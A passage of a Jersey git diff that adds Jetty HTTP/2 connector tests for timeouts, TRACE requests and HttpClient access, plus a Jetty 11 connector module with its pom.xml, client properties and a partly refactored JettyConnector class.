instanceOf(TimeoutException.class)); + } finally { + c.close(); + } + } + + @Test + public void testCustomTooBig() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize); + + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/verybig").request().get(); + fail("Exception expected."); + } catch (ProcessingException e) { + // Buffering capacity ... exceeded. + assertTrue(ExecutionException.class.isInstance(e.getCause())); + assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause())); + } finally { + c.close(); + } + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java new file mode 100644 index 00000000000..59f242e11c6 --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java @@ -0,0 +1,239 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.CommonProperties; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.jetty.connector.JettyClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.DefaultValue; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.QueryParam; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.StreamingOutput; +import java.net.URI; +import java.nio.charset.StandardCharsets; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; +import java.util.logging.Logger; + +import static org.hamcrest.CoreMatchers.instanceOf; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; + +public class TimeoutTest extends JerseyTest { + private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName()); + + @Path("/test") + public static class TimeoutResource { + @GET + public String get() { + return "GET"; + } + + @GET + @Path("timeout") + public String getTimeout() { + try { + Thread.sleep(2000); + } catch (InterruptedException e) { + e.printStackTrace(); + } + return "GET"; + } + + /** + * Long-running streaming request + * + * @param count number of packets send + * @param pauseMillis pause between each packets + */ + @GET + @Path("stream") + public Response streamsWithDelay(@QueryParam("start") @DefaultValue("0") int startMillis, @QueryParam("count") int count, + @QueryParam("pauseMillis") int pauseMillis) { + StreamingOutput streamingOutput = streamSlowly(startMillis, count, pauseMillis); + + return Response.ok(streamingOutput) + .build(); + } + } + + private static StreamingOutput streamSlowly(int startMillis, int count, int pauseMillis) { + + return output -> { + try { + TimeUnit.MILLISECONDS.sleep(startMillis); + } + catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + output.write("begin\n".getBytes(StandardCharsets.UTF_8)); + output.flush(); + for (int i = 0; i < count; i++) { + try { + TimeUnit.MILLISECONDS.sleep(pauseMillis); + } + catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + + output.write(("message " + i + "\n").getBytes(StandardCharsets.UTF_8)); + output.flush(); + } + output.write("end".getBytes(StandardCharsets.UTF_8)); + }; + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(TimeoutResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testFast() { + Response r = target("test").request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + } + + @Test + public void testSlow() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/timeout").request().get(); + fail("Timeout expected."); + } catch (ProcessingException e) { + assertThat("Unexpected processing exception cause", + e.getCause(), instanceOf(TimeoutException.class)); + } finally { + c.close(); + } + } + + @Test + public void testTimeoutInRequest() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig(); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/timeout").request().property(ClientProperties.READ_TIMEOUT, 1_000).get(); + fail("Timeout expected."); + } catch (ProcessingException e) { + assertThat("Unexpected processing exception cause", + e.getCause(), instanceOf(TimeoutException.class)); + } finally { + c.close(); + } + } + + /** + * Test accessing an operation that is streaming slowly + * + * @throws ProcessingException in case of a test error. + */ + @Test + public void testSlowlyStreamedContentDoesNotReadTimeout() throws Exception { + + int count = 5; + int pauseMillis = 50; + + final Response response = target("test") + .property(ClientProperties.READ_TIMEOUT, 100L) + .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1") + .path("stream") + .queryParam("count", count) + .queryParam("pauseMillis", pauseMillis) + .request().get(); + + assertTrue(response.readEntity(String.class).contains("end")); + } + + @Test + public void testSlowlyStreamedContentDoesTotalTimeout() throws Exception { + + int count = 5; + int pauseMillis = 50; + + try { + target("test") + .property(JettyClientProperties.TOTAL_TIMEOUT, 100L) + .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1") + .path("stream") + .queryParam("count", count) + .queryParam("pauseMillis", pauseMillis) + .request().get(); + + fail("This operation should trigger total timeout"); + } catch (ProcessingException e) { + assertEquals(TimeoutException.class, e.getCause().getClass()); + } + } + + /** + * Test accessing an operation that is streaming slowly + * + * @throws ProcessingException in case of a test error. + */ + @Test + public void testSlowToStartStreamedContentDoesReadTimeout() throws Exception { + + int start = 150; + int count = 5; + int pauseMillis = 50; + + try { + target("test") + .property(ClientProperties.READ_TIMEOUT, 100L) + .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1") + .path("stream") + .queryParam("start", start) + .queryParam("count", count) + .queryParam("pauseMillis", pauseMillis) + .request().get(); + fail("This operation should trigger idle timeout"); + } catch (ProcessingException e) { + assertEquals(TimeoutException.class, e.getCause().getClass()); + } + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java new file mode 100644 index 00000000000..4bf0bdaad42 --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java @@ -0,0 +1,228 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.process.Inflector; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.model.Resource; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.HttpMethod; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.container.ContainerRequestContext; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Request; +import jakarta.ws.rs.core.Response; +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.util.List; +import java.util.Map; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; + +public class TraceSupportTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(TraceSupportTest.class.getName()); + + /** + * Programmatic tracing root resource path. + */ + public static final String ROOT_PATH_PROGRAMMATIC = "tracing/programmatic"; + + /** + * Annotated class-based tracing root resource path. + */ + public static final String ROOT_PATH_ANNOTATED = "tracing/annotated"; + + @HttpMethod(TRACE.NAME) + @Target(ElementType.METHOD) + @Retention(RetentionPolicy.RUNTIME) + public @interface TRACE { + public static final String NAME = "TRACE"; + } + + @Path(ROOT_PATH_ANNOTATED) + public static class TracingResource { + + @TRACE + @Produces("text/plain") + public String trace(Request request) { + return stringify((ContainerRequest) request); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(TracingResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + final Resource.Builder resourceBuilder = Resource.builder(ROOT_PATH_PROGRAMMATIC); + resourceBuilder.addMethod(TRACE.NAME).handledBy(new Inflector() { + + @Override + public Response apply(ContainerRequestContext request) { + if (request == null) { + return Response.noContent().build(); + } else { + return Response.ok(stringify((ContainerRequest) request), MediaType.TEXT_PLAIN).build(); + } + } + }); + + return config.registerResources(resourceBuilder.build()); + + } + + private String[] expectedFragmentsProgrammatic = new String[]{ + "TRACE http://localhost:" + this.getPort() + "/tracing/programmatic" + }; + private String[] expectedFragmentsAnnotated = new String[]{ + "TRACE http://localhost:" + this.getPort() + "/tracing/annotated" + }; + + private WebTarget prepareTarget(String path) { + final WebTarget target = target(); + target.register(LoggingFeature.class); + return target.path(path); + } + + @Test + public void testProgrammaticApp() throws Exception { + Response response = prepareTarget(ROOT_PATH_PROGRAMMATIC).request("text/plain").method(TRACE.NAME); + + assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode()); + + String responseEntity = response.readEntity(String.class); + for (String expectedFragment : expectedFragmentsProgrammatic) { + assertTrue(// toLowerCase - http header field names are case insensitive + responseEntity.contains(expectedFragment), + "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity); + } + } + + @Test + public void testAnnotatedApp() throws Exception { + Response response = prepareTarget(ROOT_PATH_ANNOTATED).request("text/plain").method(TRACE.NAME); + + assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode()); + + String responseEntity = response.readEntity(String.class); + for (String expectedFragment : expectedFragmentsAnnotated) { + assertTrue(// toLowerCase - http header field names are case insensitive + responseEntity.contains(expectedFragment), + "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity); + } + } + + @Test + public void testTraceWithEntity() throws Exception { + _testTraceWithEntity(false, false); + } + + @Test + public void testAsyncTraceWithEntity() throws Exception { + _testTraceWithEntity(true, false); + } + + @Test + public void testTraceWithEntityJettyConnector() throws Exception { + _testTraceWithEntity(false, true); + } + + @Test + public void testAsyncTraceWithEntityJettyConnector() throws Exception { + _testTraceWithEntity(true, true); + } + + private void _testTraceWithEntity(final boolean isAsync, final boolean useJettyConnection) throws Exception { + try { + WebTarget target = useJettyConnection ? getJettyClient().target(target().getUri()) : target(); + target = target.path(ROOT_PATH_ANNOTATED); + + final Entity entity = Entity.entity("trace", MediaType.WILDCARD_TYPE); + + Response response; + if (!isAsync) { + response = target.request().method(TRACE.NAME, entity); + } else { + response = target.request().async().method(TRACE.NAME, entity).get(); + } + + fail("A TRACE request MUST NOT include an entity. (response=" + response + ")"); + } catch (Exception e) { + // OK + } + } + + private Client getJettyClient() { + return ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyHttp2ConnectorProvider())); + } + + + public static String stringify(ContainerRequest request) { + StringBuilder buffer = new StringBuilder(); + + printRequestLine(buffer, request); + printPrefixedHeaders(buffer, request.getHeaders()); + + if (request.hasEntity()) { + buffer.append(request.readEntity(String.class)).append("\n"); + } + + return buffer.toString(); + } + + private static void printRequestLine(StringBuilder buffer, ContainerRequest request) { + buffer.append(request.getMethod()).append(" ").append(request.getUriInfo().getRequestUri().toASCIIString()).append("\n"); + } + + private static void printPrefixedHeaders(StringBuilder buffer, Map> headers) { + for (Map.Entry> e : headers.entrySet()) { + List val = e.getValue(); + String header = e.getKey(); + + if (val.size() == 1) { + buffer.append(header).append(": ").append(val.get(0)).append("\n"); + } else { + StringBuilder sb = new StringBuilder(); + boolean add = false; + for (String s : val) { + if (add) { + sb.append(','); + } + add = true; + sb.append(s); + } + buffer.append(header).append(": ").append(sb.toString()).append("\n"); + } + } + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java new file mode 100644 index 00000000000..29efcba9d61 --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java @@ -0,0 +1,66 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.eclipse.jetty.client.HttpClient; +import org.glassfish.jersey.client.ClientConfig; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; + +import static org.hamcrest.CoreMatchers.is; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertSame; + +public class UnderlyingHttpClientAccessTest { + + /** + * Verifier of JERSEY-2424 fix. + */ + @Test + public void testHttpClientInstanceAccess() { + final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyHttp2ConnectorProvider())); + final HttpClient hcOnClient = JettyHttp2ConnectorProvider.getHttpClient(client); + // important: the web target instance in this test must be only created AFTER the client has been pre-initialized + // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the + // connector provider's static getHttpClient method above. + final WebTarget target = client.target("http://localhost/"); + final HttpClient hcOnTarget = JettyHttp2ConnectorProvider.getHttpClient(target); + + assertNotNull(hcOnClient, "HTTP client instance set on JerseyClient should not be null."); + assertNotNull(hcOnTarget, "HTTP client instance set on JerseyWebTarget should not be null."); + assertSame(hcOnClient, hcOnTarget, "HTTP client instance set on JerseyClient should be the same instance as the one " + + "set on JerseyWebTarget (provided the target instance has not been further configured)."); + } + + @Test + public void testGetProvidedClientInstance() { + final HttpClient httpClient = new HttpClient(); + final ClientConfig clientConfig = new ClientConfig() + .connectorProvider(new JettyHttp2ConnectorProvider()) + .register(new JettyHttp2ClientSupplier(httpClient)); + final Client client = ClientBuilder.newClient(clientConfig); + final WebTarget target = client.target("http://localhost/"); + final HttpClient hcOnTarget = JettyHttp2ConnectorProvider.getHttpClient(target); + + assertThat("Instance provided to a ClientConfig differs from instance provided by JettyProvider", + httpClient, is(hcOnTarget)); + } +} \ No newline at end of file diff --git a/connectors/jetty11-connector/pom.xml b/connectors/jetty11-connector/pom.xml new file mode 100644 index 00000000000..c25195f0ac1 --- /dev/null +++ b/connectors/jetty11-connector/pom.xml @@ -0,0 +1,156 @@ + + + + + 4.0.0 + + + org.glassfish.jersey.connectors + project + 3.1.99-SNAPSHOT + + + jersey-jetty11-connector + jar + jersey-connectors-jetty11 + + Jersey Client Transport via Jetty 11.x + + + UTF-8 + + + + + + + + + + + org.eclipse.jetty + jetty-client + ${jetty11.version} + + + org.eclipse.jetty + jetty-util + ${jetty11.version} + + + + + + + org.eclipse.jetty + jetty-client + ${jetty11.version} + + + org.slf4j + slf4j-api + + + + + org.eclipse.jetty + jetty-util + ${jetty11.version} + + + org.slf4j + slf4j-api + + + + + + org.slf4j + slf4j-api + ${slf4j.version} + test + + + org.glassfish.jersey.media + jersey-media-jaxb + ${project.version} + test + + + org.glassfish.jersey.containers + jersey-container-grizzly2-http + ${project.version} + test + + + org.glassfish.jersey.media + jersey-media-json-jackson + ${project.version} + test + + + org.glassfish.jersey.test-framework.providers + jersey-test-framework-provider-grizzly2 + ${project.version} + test + + + jakarta.xml.bind + jakarta.xml.bind-api + test + + + com.sun.xml.bind + jaxb-osgi + test + + + + + + + com.sun.istack + istack-commons-maven-plugin + true + + + org.codehaus.mojo + build-helper-maven-plugin + true + + + org.apache.maven.plugins + maven-compiler-plugin + + + org.apache.felix + maven-bundle-plugin + true + + + + ${jetty.osgi.version}, + * + + + + + + + \ No newline at end of file diff --git a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyClientProperties.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyClientProperties.java new file mode 100644 index 00000000000..d99c918cd64 --- /dev/null +++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyClientProperties.java @@ -0,0 +1,123 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.util.Map; + +import org.glassfish.jersey.internal.util.PropertiesClass; +import org.glassfish.jersey.internal.util.PropertiesHelper; + +/** + * Configuration options specific to the Client API that utilizes {@link JettyConnectorProvider}. + * + * @author Arul Dhesiaseelan (aruld at acm.org) + */ +@PropertiesClass +public final class JettyClientProperties { + + /** + * Prevents instantiation. + */ + private JettyClientProperties() { + throw new AssertionError("No instances allowed."); + } + + /** + * A value of {@code false} indicates the client should handle cookies + * automatically using HttpClient's default cookie policy. A value + * of {@code false} will cause the client to ignore all cookies. + *

    + * The value MUST be an instance of {@link Boolean}. + * If the property is absent the default value is {@code false} + */ + public static final String DISABLE_COOKIES = + "jersey.config.jetty11.client.disableCookies"; + + /** + * The credential provider that should be used to retrieve + * credentials from a user. + * + * If an {@link org.eclipse.jetty.client.api.Authentication} mechanism is found, + * it is then used for the given request, returning an {@link org.eclipse.jetty.client.api.Authentication.Result}, + * which is then stored in the {@link org.eclipse.jetty.client.api.AuthenticationStore} + * so that subsequent requests can be preemptively authenticated. + + *

    + * The value MUST be an instance of {@link + * org.eclipse.jetty.client.util.BasicAuthentication}. If + * the property is absent a default provider will be used. + */ + public static final String PREEMPTIVE_BASIC_AUTHENTICATION = + "jersey.config.jetty11.client.preemptiveBasicAuthentication"; + + /** + * A value of {@code false} indicates the client disable a hostname verification + * during SSL Handshake. A client will ignore CN value defined in a certificate + * that is stored in a truststore. + *

    + * The value MUST be an instance of {@link Boolean}. + * If the property is absent the default value is {@code true}. + */ + public static final String ENABLE_SSL_HOSTNAME_VERIFICATION = + "jersey.config.jetty11.client.enableSslHostnameVerification"; + + /** + * Overrides the default Jetty synchronous listener response max buffer size. + * In practise, this allows you to read larger responses. + * Size in bytes. + *

    + * If the property is absent, the value is such as specified by Jetty (currently 2MiB). + */ + public static final String SYNC_LISTENER_RESPONSE_MAX_SIZE = + "jersey.config.jetty11.client.syncListenerResponseMaxSize"; + + /** + * Total timeout interval for request/response conversation, in milliseconds. + * Opposed to {@link org.glassfish.jersey.client.ClientProperties#READ_TIMEOUT}. + *

    + * The value MUST be an instance convertible to {@link Integer}. The + * value of zero (0) is equivalent to an interval of infinity. + *

    + *

    + * The default value is zero (infinity). + *

    + *

    + * The name of the configuration property is {@value}. + *

    + * + * @since 2.37 + */ + public static final String TOTAL_TIMEOUT = "jersey.config.jetty11.client.totalTimeout"; + + /** + * Get the value of the specified property. + * + * If the property is not set or the real value type is not compatible with the specified value type, returns {@code null}. + * + * @param properties Map of properties to get the property value from. + * @param key Name of the property. + * @param type Type to retrieve the value as. + * @param Type of the property value. + * @return Value of the property or {@code null}. + * + * @since 2.8 + */ + public static T getValue(final Map properties, final String key, final Class type) { + return PropertiesHelper.getValue(properties, key, type, null); + } + +} diff --git a/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java similarity index 80% rename from connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java rename to connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java index ef1585cf465..7565b4bd9bb 100644 --- a/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java +++ b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,47 +16,37 @@ package org.glassfish.jersey.jetty.connector; -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.FilterInputStream; -import java.io.IOException; -import java.io.InputStream; -import java.io.OutputStream; -import java.net.CookieStore; -import java.net.URI; -import java.nio.ByteBuffer; -import java.util.ArrayList; -import java.util.List; -import java.util.Map; -import java.util.Optional; -import java.util.concurrent.CancellationException; -import java.util.concurrent.CompletableFuture; -import java.util.concurrent.Future; -import java.util.concurrent.TimeUnit; -import java.util.concurrent.atomic.AtomicBoolean; -import java.util.concurrent.atomic.AtomicReference; -import java.util.logging.Level; -import java.util.logging.Logger; - import jakarta.ws.rs.ProcessingException; import jakarta.ws.rs.client.Client; import jakarta.ws.rs.core.Configuration; -import jakarta.ws.rs.core.HttpHeaders; import jakarta.ws.rs.core.MultivaluedMap; - -import javax.net.ssl.SSLContext; - +import org.eclipse.jetty.client.HttpClient; import org.eclipse.jetty.client.HttpClientTransport; -import org.eclipse.jetty.client.HttpRequest; +import org.eclipse.jetty.client.HttpProxy; +import org.eclipse.jetty.client.ProxyConfiguration; +import org.eclipse.jetty.client.api.AuthenticationStore; +import org.eclipse.jetty.client.api.ContentProvider; +import org.eclipse.jetty.client.api.ContentResponse; +import org.eclipse.jetty.client.api.Request; +import org.eclipse.jetty.client.api.Response; +import org.eclipse.jetty.client.api.Result; import org.eclipse.jetty.client.http.HttpClientTransportOverHTTP; -import org.eclipse.jetty.io.ClientConnector; import org.eclipse.jetty.client.util.BasicAuthentication; import org.eclipse.jetty.client.util.BytesContentProvider; import org.eclipse.jetty.client.util.FutureResponseListener; import org.eclipse.jetty.client.util.OutputStreamContentProvider; +import org.eclipse.jetty.http.HttpField; +import org.eclipse.jetty.http.HttpFields; +import org.eclipse.jetty.http.HttpHeader; +import org.eclipse.jetty.io.ClientConnector; +import org.eclipse.jetty.util.HttpCookieStore; +import org.eclipse.jetty.util.Jetty; +import org.eclipse.jetty.util.ssl.SslContextFactory; +import org.eclipse.jetty.util.thread.QueuedThreadPool; import org.glassfish.jersey.client.ClientProperties; import org.glassfish.jersey.client.ClientRequest; import org.glassfish.jersey.client.ClientResponse; +import org.glassfish.jersey.client.innate.ClientProxy; import org.glassfish.jersey.client.spi.AsyncConnectorCallback; import org.glassfish.jersey.client.spi.Connector; import org.glassfish.jersey.internal.util.collection.ByteBufferInputStream; @@ -65,22 +55,30 @@ import org.glassfish.jersey.message.internal.OutboundMessageContext; import org.glassfish.jersey.message.internal.Statuses; -import org.eclipse.jetty.client.HttpClient; -import org.eclipse.jetty.client.HttpProxy; -import org.eclipse.jetty.client.ProxyConfiguration; -import org.eclipse.jetty.client.api.AuthenticationStore; -import org.eclipse.jetty.client.api.ContentProvider; -import org.eclipse.jetty.client.api.ContentResponse; -import org.eclipse.jetty.client.api.Request; -import org.eclipse.jetty.client.api.Response; -import org.eclipse.jetty.client.api.Result; -import org.eclipse.jetty.http.HttpField; -import org.eclipse.jetty.http.HttpFields; -import org.eclipse.jetty.http.HttpHeader; -import org.eclipse.jetty.util.HttpCookieStore; -import org.eclipse.jetty.util.Jetty; -import org.eclipse.jetty.util.ssl.SslContextFactory; -import org.eclipse.jetty.util.thread.QueuedThreadPool; +import javax.net.ssl.SSLContext; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.FilterInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.CookieStore; +import java.net.URI; +import java.nio.ByteBuffer; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.concurrent.CancellationException; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.atomic.AtomicBoolean; +import java.util.concurrent.atomic.AtomicReference; +import java.util.function.Consumer; +import java.util.logging.Level; +import java.util.logging.Logger; /** * A {@link Connector} that utilizes the Jetty HTTP Client to send and receive @@ -95,8 +93,10 @@ *
  • {@link ClientProperties#PROXY_USERNAME}
  • *
  • {@link ClientProperties#PROXY_PASSWORD}
  • *
  • {@link ClientProperties#PROXY_PASSWORD}
  • + *
  • {@link JettyClientProperties#DISABLE_COOKIES}
  • * + *
  • {@link JettyClientProperties#ENABLE_SSL_HOSTNAME_VERIFICATION}
  • *
  • {@link JettyClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION}
  • - *
  • {@link JettyClientProperties#DISABLE_COOKIES}
  • + *
  • {@link JettyClientProperties#SYNC_LISTENER_RESPONSE_MAX_SIZE}
  • * *

    * This transport supports both synchronous and asynchronous processing of client requests. @@ -107,7 +107,7 @@ *

      * {@code
      * ClientConfig config = new ClientConfig();
    - * Connector connector = new JettyConnector(config);
    + * Connector connector = new Jetty11Connector(config);
      * config.connector(connector);
      * Client client = ClientBuilder.newClient(config);
      *
    @@ -129,7 +129,7 @@
      * @author Arul Dhesiaseelan (aruld at acm.org)
      * @author Marek Potociar
      */
    -class JettyConnector implements Connector {
    +public class JettyConnector implements Connector {
     
         private static final Logger LOGGER = Logger.getLogger(JettyConnector.class.getName());
     
    @@ -144,31 +144,29 @@ class JettyConnector implements Connector {
          * @param jaxrsClient JAX-RS client instance, for which the connector is created.
          * @param config client configuration.
          */
    -    JettyConnector(final Client jaxrsClient, final Configuration config) {
    +    public JettyConnector(final Client jaxrsClient, final Configuration config) {
             this.configuration = config;
    -        HttpClient httpClient = null;
    -        if (config.isRegistered(JettyHttpClientSupplier.class)) {
    -            Optional contract = config.getInstances().stream()
    -                    .filter(a-> JettyHttpClientSupplier.class.isInstance(a)).findFirst();
    -            if (contract.isPresent()) {
    -                httpClient = ((JettyHttpClientSupplier) contract.get()).getHttpClient();
    -            }
    -        }
    +        HttpClient httpClient = getRegisteredHttpClient(config);
    +
             if (httpClient == null) {
                 final SSLContext sslContext = jaxrsClient.getSslContext();
    -            final SslContextFactory.Client sslContextFactory = new SslContextFactory.Client();
    +            final SslContextFactory.Client sslContextFactory = new SslContextFactory.Client(false);
                 sslContextFactory.setSslContext(sslContext);
                 final ClientConnector connector = new ClientConnector();
                 connector.setSslContextFactory(sslContextFactory);
    -            final HttpClientTransport transport = new HttpClientTransportOverHTTP(connector);
    +            final HttpClientTransport transport = initClientTransport(connector);
                 httpClient = new HttpClient(transport);
             }
             this.client = httpClient;
     
             Boolean enableHostnameVerification = (Boolean) config.getProperties()
                     .get(JettyClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION);
    -        if (enableHostnameVerification != null && enableHostnameVerification) {
    -            client.getSslContextFactory().setEndpointIdentificationAlgorithm("https");
    +        if (enableHostnameVerification != null) {
    +            final String verificationAlgorithm = enableHostnameVerification ? "HTTPS" : null;
    +            client.getSslContextFactory().setEndpointIdentificationAlgorithm(verificationAlgorithm);
